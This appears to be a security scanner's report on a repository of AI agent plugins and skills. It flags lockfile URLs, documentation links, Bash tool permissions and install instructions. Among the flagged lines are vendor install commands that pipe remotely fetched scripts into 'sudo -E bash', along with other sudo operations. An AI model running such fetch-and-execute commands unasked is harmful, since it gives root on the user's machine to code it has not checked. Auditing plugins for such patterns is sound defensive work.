{ url = "https://files.pythonhosted.org/packages/52/33/e8468d7dfb059aaaef3294099e1ff945c0f7bf8b7b11ad6d807ee0a171df/rustworkx-0.18.1-cp310-abi3-pyemscripten_2026_0_wasm32.whl", hash = "sha256:67dcdfcc3dfc8262f7627d2b3ae85ac74de1b1dcababf637 - Network accessline 182
{ url = "https://files.pythonhosted.org/packages/4a/00/d75ef40fc92267571b4547b0d04d8cb8c1583cfa2e437ee2d25df3dc8aff/rustworkx-0.18.1-cp310-abi3-win32.whl", hash = "sha256:f8ad39453d65c85111ba887377899d568ded6ecfb5384f3182483a23426b8f58", si - Network accessline 183
{ url = "https://files.pythonhosted.org/packages/3b/fc/c0961292208d5dda29eb8149ee395ac92fbfdff2649c5d8d2dd68f7a11a5/rustworkx-0.18.1-cp310-abi3-win_amd64.whl", hash = "sha256:91feb30971df6ac53d51503970e4aac67e4d9bc7834535f2b7cd3674645003ac" - Network accessline 184
{ url = "https://files.pythonhosted.org/packages/a7/9f/99731c2932f7a8942e414630e4a24c1bda2242abc31b3c0df287a97e0a73/rustworkx-0.18.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:685d4f69da6ecfd35110f4d7933c6fa392fb25c98f369b2403275 - Network accessline 185
{ url = "https://files.pythonhosted.org/packages/55/59/4977b72b142673f24bb97a30370ad0b8b806f2a4341587284b852ae205b7/rustworkx-0.18.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:63784612ccefb866ab1e07c48060a3f7ff5309629a263db6ba4a0d9 - Network accessline 186
{ url = "https://files.pythonhosted.org/packages/ce/fd/32be334e665fa9e52a5ad89ad485e925dbd2b43ee60caa79322eff16ca37/rustworkx-0.18.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8c771009dee311e207772ee1727788 - Network accessline 187
{ url = "https://files.pythonhosted.org/packages/c8/c5/a911ca9918d0c47751bad7543df6881dbc697619641a1eed657ac70bbf7f/rustworkx-0.18.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:ebd6f2e28940eb983f254f7fe92b474651ac149e1bedfdaa42 - Network accessline 188
{ url = "https://files.pythonhosted.org/packages/82/ed/e6dd81cb4e26c14824dba74629537f36b77e3ae6303775897e6e27a7fbf6/rustworkx-0.18.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:80a397a164003d9ff91c11357f9c34120c39bc33a62d095dce - Network accessline 189
{ url = "https://files.pythonhosted.org/packages/64/00/ebf78ee0fadb982aec66f8f85801725228a12a15c39577b39cc1ed45c221/rustworkx-0.18.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b23264fcd2feb254ce5a1bea641cad9f97e06202c5c0904d5fc - Network accessline 190
{ url = "https://files.pythonhosted.org/packages/37/0b/05bd31d19d0d74658f30c5bd584906c741a2e4d1fb8f5c08a0168c042553/rustworkx-0.18.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:aedc1b30330927810588b3dcf5e3032c5379cd19580fd01ec8e1 - Network accessline 194
name = "trailmark" version = "0.6.0" source = { registry = "https://pypi.org/simple" } - Network accessline 195
version = "0.6.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 196
source = { registry = "https://pypi.org/simple" } - Network accessline 201
{ name = "tree-sitter-sql" }, ] sdist = { url = "https://files.pythonhosted.org/packages/0d/f8/3ce875af54c506e3b9564d254a446958774179ebd1e8222e4f4f46bfdd62/trailmark-0.6.0.tar.gz", hash = "sha256:d5298394fd2193e4e05d191b46413c463b8a7379c7be - Network accessline 202
] sdist = { url = "https://files.pythonhosted.org/packages/0d/f8/3ce875af54c506e3b9564d254a446958774179ebd1e8222e4f4f46bfdd62/trailmark-0.6.0.tar.gz", hash = "sha256:d5298394fd2193e4e05d191b46413c463b8a7379c7bec209824666f555e96c37", size = - Network accessline 203
sdist = { url = "https://files.pythonhosted.org/packages/0d/f8/3ce875af54c506e3b9564d254a446958774179ebd1e8222e4f4f46bfdd62/trailmark-0.6.0.tar.gz", hash = "sha256:d5298394fd2193e4e05d191b46413c463b8a7379c7bec209824666f555e96c37", size = 14 - Network accessline 204
wheels = [ { url = "https://files.pythonhosted.org/packages/f5/b6/32231a1936e74d54bbb31a09809d1ac72afae0aa276953ff8fc9e5190c12/trailmark-0.6.0-py3-none-any.whl", hash = "sha256:6f26cad4edc0826a71c0ab1d2f09348ad21b2d809028310b9db95ec3c5b - Network accessline 205
{ url = "https://files.pythonhosted.org/packages/f5/b6/32231a1936e74d54bbb31a09809d1ac72afae0aa276953ff8fc9e5190c12/trailmark-0.6.0-py3-none-any.whl", hash = "sha256:6f26cad4edc0826a71c0ab1d2f09348ad21b2d809028310b9db95ec3c5befdd4", size = - Network accessline 232
name = "tree-sitter" version = "0.25.2" source = { registry = "https://pypi.org/simple" } - Network accessline 233
version = "0.25.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/66/7c/0350cfc47faadc0d3cf7d8237a4e34032b3014ddf4a12ded9933e1648b55/tree-sitter-0.25.2.tar.gz", hash = "sha256:fe43 - Network accessline 234
source = { registry = "https://pypi.org/simple" } - Network accessline 235
sdist = { url = "https://files.pythonhosted.org/packages/66/7c/0350cfc47faadc0d3cf7d8237a4e34032b3014ddf4a12ded9933e1648b55/tree-sitter-0.25.2.tar.gz", hash = "sha256:fe43c158555da46723b28b52e058ad444195afd1db3ca7720c59a254544e9c20", size = - Network accessline 236
wheels = [ { url = "https://files.pythonhosted.org/packages/3c/9e/20c2a00a862f1c2897a436b17edb774e831b22218083b459d0d081c9db33/tree_sitter-0.25.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ddabfff809ffc983fc9963455ba1cecc90295 - Network accessline 237
{ url = "https://files.pythonhosted.org/packages/3c/9e/20c2a00a862f1c2897a436b17edb774e831b22218083b459d0d081c9db33/tree_sitter-0.25.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ddabfff809ffc983fc9963455ba1cecc90295803e06e140a4c83 - Network accessline 238
{ url = "https://files.pythonhosted.org/packages/ef/04/8512e2062e652a1016e840ce36ba1cc33258b0dcc4e500d8089b4054afec/tree_sitter-0.25.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c0c0ab5f94938a23fe81928a21cc0fac44143133ccc4eb7eeb1b92 - Network accessline 239
{ url = "https://files.pythonhosted.org/packages/47/8a/d48c0414db19307b0fb3bb10d76a3a0cbe275bb293f145ee7fba2abd668e/tree_sitter-0.25.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dd12 - Network accessline 240
{ url = "https://files.pythonhosted.org/packages/39/d1/b95f545e9fc5001b8a78636ef942a4e4e536580caa6a99e73dd0a02e87aa/tree_sitter-0.25.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b43a9e4 - Network accessline 241
{ url = "https://files.pythonhosted.org/packages/de/4d/b734bde3fb6f3513a010fa91f1f2875442cdc0382d6a949005cd84563d8f/tree_sitter-0.25.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fbb1706407c0e451c4f8cc016fec27d72d4b211fdd3173320b1 - Network accessline 242
{ url = "https://files.pythonhosted.org/packages/46/f2/5f654994f36d10c64d50a192239599fcae46677491c8dd53e7579c35a3e3/tree_sitter-0.25.2-cp312-cp312-win_amd64.whl", hash = "sha256:6d0302550bbe4620a5dc7649517c4409d74ef18558276ce758419cf09e5788 - Network accessline 243
{ url = "https://files.pythonhosted.org/packages/67/23/148c468d410efcf0a9535272d81c258d840c27b34781d625f1f627e2e27d/tree_sitter-0.25.2-cp312-cp312-win_arm64.whl", hash = "sha256:0c8b6682cac77e37cfe5cf7ec388844957f48b7bd8d6321d0ca2d852994e10 - Network accessline 244
{ url = "https://files.pythonhosted.org/packages/8c/67/67492014ce32729b63d7ef318a19f9cfedd855d677de5773476caf771e96/tree_sitter-0.25.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0628671f0de69bb279558ef6b640bcfc97864fe0026d840f8727 - Network accessline 245
{ url = "https://files.pythonhosted.org/packages/4e/9c/a278b15e6b263e86c5e301c82a60923fa7c59d44f78d7a110a89a413e640/tree_sitter-0.25.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f5ddcd3e291a749b62521f71fc953f66f5fd9743973fd6dd962b09 - Network accessline 246
{ url = "https://files.pythonhosted.org/packages/54/9a/423bba15d2bf6473ba67846ba5244b988cd97a4b1ea2b146822162256794/tree_sitter-0.25.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bd88 - Network accessline 247
{ url = "https://files.pythonhosted.org/packages/ed/4c/b430d2cb43f8badfb3a3fa9d6cd7c8247698187b5674008c9d67b2a90c8e/tree_sitter-0.25.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b878e29 - Network accessline 248
{ url = "https://files.pythonhosted.org/packages/9d/27/5f97098dbba807331d666a0997662e82d066e84b17d92efab575d283822f/tree_sitter-0.25.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d77605e0d353ba3fe5627e5490f0fbfe44141bafa4478d88ef7 - Network accessline 249
{ url = "https://files.pythonhosted.org/packages/d4/3c/87caaed663fabc35e18dc704cd0e9800a0ee2f22bd18b9cbe7c10799895d/tree_sitter-0.25.2-cp313-cp313-win_amd64.whl", hash = "sha256:463c032bd02052d934daa5f45d183e0521ceb783c2548501cf034b0beba92c - Network accessline 250
{ url = "https://files.pythonhosted.org/packages/d5/23/f8467b408b7988aff4ea40946a4bd1a2c1a73d17156a9d039bbaff1e2ceb/tree_sitter-0.25.2-cp313-cp313-win_arm64.whl", hash = "sha256:b3f63a1796886249bd22c559a5944d64d05d43f2be72961624278eff0dcc5c - Network accessline 251
{ url = "https://files.pythonhosted.org/packages/07/e3/d9526ba71dfbbe4eba5e51d89432b4b333a49a1e70712aa5590cd22fc74f/tree_sitter-0.25.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:65d3c931013ea798b502782acab986bbf47ba2c452610ab0776c - Network accessline 252
{ url = "https://files.pythonhosted.org/packages/42/97/4bd4ad97f85a23011dd8a535534bb1035c4e0bac1234d58f438e15cff51f/tree_sitter-0.25.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:bda059af9d621918efb813b22fb06b3fe00c3e94079c6143fcb2c5 - Network accessline 253
{ url = "https://files.pythonhosted.org/packages/b6/19/1e968aa0b1b567988ed522f836498a6a9529a74aab15f09dd9ac1e41f505/tree_sitter-0.25.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eac4 - Network accessline 254
{ url = "https://files.pythonhosted.org/packages/48/b6/cf08f4f20f4c9094006ef8828555484e842fc468827ad6e56011ab668dbd/tree_sitter-0.25.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2605863 - Network accessline 255
{ url = "https://files.pythonhosted.org/packages/57/e2/d42d55bf56360987c32bc7b16adb06744e425670b823fb8a5786a1cea991/tree_sitter-0.25.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7d2ee1acbacebe50ba0f85fff1bc05e65d877958f00880f49f9 - Network accessline 256
{ url = "https://files.pythonhosted.org/packages/03/87/af9604ebe275a9345d88c3ace0cf2a1341aa3f8ef49dd9fc11662132df8a/tree_sitter-0.25.2-cp314-cp314-win_amd64.whl", hash = "sha256:4973b718fcadfb04e59e746abfbb0288694159c6aeecd2add59320c03368c7 - Network accessline 257
{ url = "https://files.pythonhosted.org/packages/a6/6e/e64621037357acb83d912276ffd30a859ef117f9c680f2e3cb955f47c680/tree_sitter-0.25.2-cp314-cp314-win_arm64.whl", hash = "sha256:b8d4429954a3beb3e844e2872610d2a4800ba4eb42bb1990c6a4b1949b1845 - Network accessline 261
name = "tree-sitter-language-pack" version = "1.22.1" source = { registry = "https://pypi.org/simple" } - Network accessline 262
version = "1.22.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 263
source = { registry = "https://pypi.org/simple" } - Network accessline 265
{ name = "tree-sitter" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b7/e0/ac9bb5f5241b8c406da03ff30a457f385fabd489d06e77ef81378d34bc4e/tree_sitter_language_pack-1.22.1.tar.gz", hash = "sha256:e0cba16312890fc7747da5fb5edb7aa - Network accessline 266
] sdist = { url = "https://files.pythonhosted.org/packages/b7/e0/ac9bb5f5241b8c406da03ff30a457f385fabd489d06e77ef81378d34bc4e/tree_sitter_language_pack-1.22.1.tar.gz", hash = "sha256:e0cba16312890fc7747da5fb5edb7aabfc68aac7db0ebab5212986a67 - Network accessline 267
sdist = { url = "https://files.pythonhosted.org/packages/b7/e0/ac9bb5f5241b8c406da03ff30a457f385fabd489d06e77ef81378d34bc4e/tree_sitter_language_pack-1.22.1.tar.gz", hash = "sha256:e0cba16312890fc7747da5fb5edb7aabfc68aac7db0ebab5212986a67cd - Network accessline 268
wheels = [ { url = "https://files.pythonhosted.org/packages/3f/04/97b69d8ce812bd17cb8180f837bcd17a8ae61362fd1e6f61cf526027f0e1/tree_sitter_language_pack-1.22.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:d34a528bdd845d024c42da3f - Network accessline 269
{ url = "https://files.pythonhosted.org/packages/3f/04/97b69d8ce812bd17cb8180f837bcd17a8ae61362fd1e6f61cf526027f0e1/tree_sitter_language_pack-1.22.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:d34a528bdd845d024c42da3fa43495c5d51c661 - Network accessline 270
{ url = "https://files.pythonhosted.org/packages/4d/5b/5157fef42981eac1e315ab9cfd2e1e7189d53677b68405d171a620b7a52a/tree_sitter_language_pack-1.22.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:b85116c8a8d7bbdca2e1be8068d6c3d4f0ac66e95 - Network accessline 271
{ url = "https://files.pythonhosted.org/packages/1a/3c/de8422cd16bbf8aad4da68b5182ad985c8f32c5573d9fa8aa7c527cdce34/tree_sitter_language_pack-1.22.1-cp310-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:852a0129463a94f898dda2aa9616fb19e598 - Network accessline 272
{ url = "https://files.pythonhosted.org/packages/6b/e1/30683d0d99c9cb7ae0fc23d6c6e8fb0bf9a1ac520fc8fd7cb9d12fe0cd46/tree_sitter_language_pack-1.22.1-cp310-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:8a476b71c2f6c71f23b0b63f5ff6f72a8ba2c - Network accessline 273
{ url = "https://files.pythonhosted.org/packages/92/d0/9ebe21280bbe31fe0d7a2885837c616304eabf05fe5f74dfa973b54eccc6/tree_sitter_language_pack-1.22.1-cp310-abi3-win_amd64.whl", hash = "sha256:624d90afb8b210584bdcb871935385035872eeb12b26e41f4 - Network accessline 274
{ url = "https://files.pythonhosted.org/packages/80/76/8bcee4c731ef0e6e610491b3614a45e63aa9550d99e951d9a14fa314da57/tree_sitter_language_pack-1.22.1-cp310-abi3-win_arm64.whl", hash = "sha256:34e4e7a77d02d102abf95c7b088962fcd56825bd48eabbe80 - Network accessline 278
name = "tree-sitter-sql" version = "0.3.11" source = { registry = "https://pypi.org/simple" } - Network accessline 279
version = "0.3.11" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/e8/5c/3d10387f779f36835486167253682f61d5f4fd8336b7001da1ac7d78f31c/tree_sitter_sql-0.3.11.tar.gz", hash = "sha256: - Network accessline 280
source = { registry = "https://pypi.org/simple" } - Network accessline 281
sdist = { url = "https://files.pythonhosted.org/packages/e8/5c/3d10387f779f36835486167253682f61d5f4fd8336b7001da1ac7d78f31c/tree_sitter_sql-0.3.11.tar.gz", hash = "sha256:700b93be2174c3c83d174ec3e10b682f72a4fb451f0076c7ce5012f1d5a76cbc", si - Network accessline 282
wheels = [ { url = "https://files.pythonhosted.org/packages/32/68/bb80073915dfe1b38935451bc0d65528666c126b2d5878e7140ef9bf9f8a/tree_sitter_sql-0.3.11-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cf1b0c401756940bf47544ad7c4cc97373f - Network accessline 283
{ url = "https://files.pythonhosted.org/packages/32/68/bb80073915dfe1b38935451bc0d65528666c126b2d5878e7140ef9bf9f8a/tree_sitter_sql-0.3.11-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cf1b0c401756940bf47544ad7c4cc97373fc0dac118f821820 - Network accessline 284
{ url = "https://files.pythonhosted.org/packages/05/45/b2bd5f9919ea15c4ae90a156999101ebd4caa4036babe54efaf9d3e77d55/tree_sitter_sql-0.3.11-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:a33cd6880ab2debef036f80365c32becb740ec7994680559848 - Network accessline 285
{ url = "https://files.pythonhosted.org/packages/8e/96/7cee5661aa897e5d1a67499944ea5cf8a148953c1dc07a3059a50db8cb56/tree_sitter_sql-0.3.11-cp310-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3 - Network accessline 286
{ url = "https://files.pythonhosted.org/packages/1d/c1/eec7c09a9c94436ea4c56d096feba815e42b209b3d41a17532f99ecf0c67/tree_sitter_sql-0.3.11-cp310-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5128 - Network accessline 287
{ url = "https://files.pythonhosted.org/packages/94/1d/06e9598799bd119e56f6e431d42c2f3a5c6dee858a5b6ad7633cc4d670aa/tree_sitter_sql-0.3.11-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:03cc164fcf7b1f711e7d939aeb4d1f62c76f4162e081c70 - Network accessline 288
{ url = "https://files.pythonhosted.org/packages/52/e9/a7afd7f68ce165c040ce50e67bb05553784a8e17f37e057405d693fc869d/tree_sitter_sql-0.3.11-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:0e22ea8de690dd9960d8c0c36c4cd25417b084e1e29c91ac - Network accessline 289
{ url = "https://files.pythonhosted.org/packages/eb/b3/57ff42dadd33c06fabe6c725de50e1625e1060f1571cc21a9260febadc1f/tree_sitter_sql-0.3.11-cp310-abi3-win_amd64.whl", hash = "sha256:c57b877702d218c0856592d33320c02b2dc8411d8820b3bf7b81be86c54 - Network accessline 290
{ url = "https://files.pythonhosted.org/packages/77/60/f10b8551f435d57a4748820ee30e66df2682820b2972375c2b89d2e5fb10/tree_sitter_sql-0.3.11-cp310-abi3-win_arm64.whl", hash = "sha256:8a1e42f0a2c9b01b23074708ecf5b8d21b9a0440e3dff279d8cf466cdf1
plugins/trailmark/skills/trailmark-finding-triage/SKILL.md
- Broad permissionsline 1
Bash
plugins/trailmark/skills/trailmark-finding-triage/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/trailmark-finding-triage/scripts/evidence_packet.py
- Executable scriptline 1
#!/usr/bin/env -S uv run --script
plugins/trailmark/skills/trailmark-finding-triage/scripts/test_evidence_packet.py
plugins/trailmark/skills/trailmark-review-gate/SKILL.md
- Broad permissionsline 1
Bash
plugins/trailmark/skills/trailmark-review-gate/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/trailmark-structural/SKILL.md
- Broad permissionsline 1
Bash Read Grep Glob
plugins/trailmark/skills/trailmark-structural/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/trailmark-summary/SKILL.md
- Broad permissionsline 1
Bash Read Grep Glob
plugins/trailmark/skills/trailmark-summary/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/trailmark-variant-neighborhood/SKILL.md
- Broad permissionsline 1
Bash
plugins/trailmark/skills/trailmark-variant-neighborhood/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/trailmark/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/vector-forge/SKILL.md
- Network accessline 383
See [references/lessons-learned.md](references/lessons-learned.md) §14 and the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md) - Network accessline 384
§14 and the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md) for the current workflow and commands. - Network accessline 385
[vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md)
plugins/trailmark/skills/vector-forge/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/trailmark/skills/vector-forge/references/lessons-learned.md
- Network accessline 173
`github.com/c2sp/wycheproof/vectorgen` API instead of invoking the CLI. Follow the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md) - Network accessline 174
CLI. Follow the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md) for current requirements, commands, envelope shapes, and validation.** - Network accessline 175
[vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md)
plugins/trailmark/skills/vector-forge/references/mutation-frameworks.md
- Dangerous shell operationline 305
`sudo apt-get install clang-<version>`. - Network accessline 309
Go to the [Mull releases page](https://github.com/mull-project/mull/releases/latest) and download the asset matching your LLVM version, platform, and - Dangerous shell operationline 342
sudo mkdir -p /usr/local/bin /usr/local/lib - Dangerous shell operationline 343
sudo cp usr/local/bin/mull-runner-* /usr/local/bin/ - Dangerous shell operationline 344
sudo cp usr/local/bin/mull-reporter-* /usr/local/bin/ - Dangerous shell operationline 345
sudo cp usr/local/lib/mull-ir-frontend-* /usr/local/lib/ - Network accessline 363
# Option A: Cloudsmith APT repository curl -1sLf \ - Dangerous shell operationline 364
curl -1sLf 'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh' | sudo -E bash - Network accessline 364
curl -1sLf \ - Network accessline 365
'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh' \ - Dangerous shell operationline 366
| sudo -E bash - Dangerous shell operationline 367
sudo apt-get update - Dangerous shell operationline 368
sudo apt-get install mull-19 # match your LLVM version - Dangerous shell operationline 373
sudo dpkg -i Mull-19-*.deb - Network accessline 379
# Option A: Cloudsmith RPM repository curl -1sLf \ - Dangerous shell operationline 380
curl -1sLf 'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh' | sudo -E bash - Network accessline 380
curl -1sLf \ - Network accessline 381
'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh' \ - Dangerous shell operationline 382
| sudo -E bash - Dangerous shell operationline 383
sudo dnf install mull-20 # match your LLVM version - Dangerous shell operationline 388
sudo rpm -i Mull-20-*.rpm
plugins/variant-analysis/skills/variant-analysis/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/variant-analysis/skills/variant-analysis/references/root-cause.md
plugins/variant-analysis/skills/variant-analysis/resources/semgrep/javascript.yaml
plugins/variant-analysis/skills/variant-analysis/resources/semgrep/python.yaml
plugins/vulnerability-triage-brocards/.claude-plugin/plugin.json
plugins/vulnerability-triage-brocards/skills/vulnerability-triage-brocards/SKILL.md
plugins/vulnerability-triage-brocards/skills/vulnerability-triage-brocards/references/brocards-detail.md
- Network accessline 174
|----------|---------|-----------| | ReDoS with negligible practical impact, but fixing it breaks thousands of downstream packages | DISMISS | Remediation disruption far exceeds the vulnerability's marginal impact | | [CVE-2026-4539](https: - Network accessline 175
| ReDoS with negligible practical impact, but fixing it breaks thousands of downstream packages | DISMISS | Remediation disruption far exceeds the vulnerability's marginal impact | | [CVE-2026-4539](https://nvd.nist.gov/vuln/detail/CVE-2026 - Network accessline 176
| [CVE-2026-4539](https://nvd.nist.gov/vuln/detail/CVE-2026-4539) against pygments: unfounded medium-severity report affecting tens of thousands of deps | DISMISS | The report itself caused more harm (forced dependency updates, CI breakage)
plugins/writing-lean-proofs/.claude-plugin/plugin.json
plugins/writing-lean-proofs/skills/writing-lean-proofs/references/library-design.md
plugins/writing-lean-proofs/skills/writing-lean-proofs/references/linting.md
- Network accessline 71
Do **not** enable `linter.mathlibStandardSet` wholesale just because a project depends on Mathlib. At Mathlib commit [`50a1a360`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Init.le - Network accessline 72
depends on Mathlib. At Mathlib commit [`50a1a360`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Init.lean), the set contains 26 lints with four different jobs: - Network accessline 73
[`50a1a360`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Init.lean), - Network accessline 177
The behavior classifications above come from the corresponding current Mathlib implementations: [auxiliary names](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/AuxLemma. - Network accessline 178
Mathlib implementations: [auxiliary names](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/AuxLemma.lean), - Network accessline 179
[flexible tactics](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/FlexibleLinter.lean), - Network accessline 180
[`#` commands](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/HashCommandLinter.lean), - Network accessline 181
[legacy `obtain`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/OldObtain.lean), - Network accessline 182
[private modules](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/PrivateModule.lean), - Network accessline 183
[deprecated syntax](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/DeprecatedSyntaxLinter.lean), - Network accessline 184
[general style](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Style.lean), - Network accessline 185
[docstrings](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/DocString.lean), - Network accessline 186
[empty lines](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/EmptyLine.lean), - Network accessline 187
[headers](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Header.lean), - Network accessline 188
[multiple goals](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Multigoal.lean), - Network accessline 189
[whitespace](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Whitespace.lean), - Network accessline 190
and [unused instances](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/UnusedInstancesInType.lean).
plugins/writing-lean-proofs/skills/writing-lean-proofs/references/naming-conventions.md
- Network accessline 5
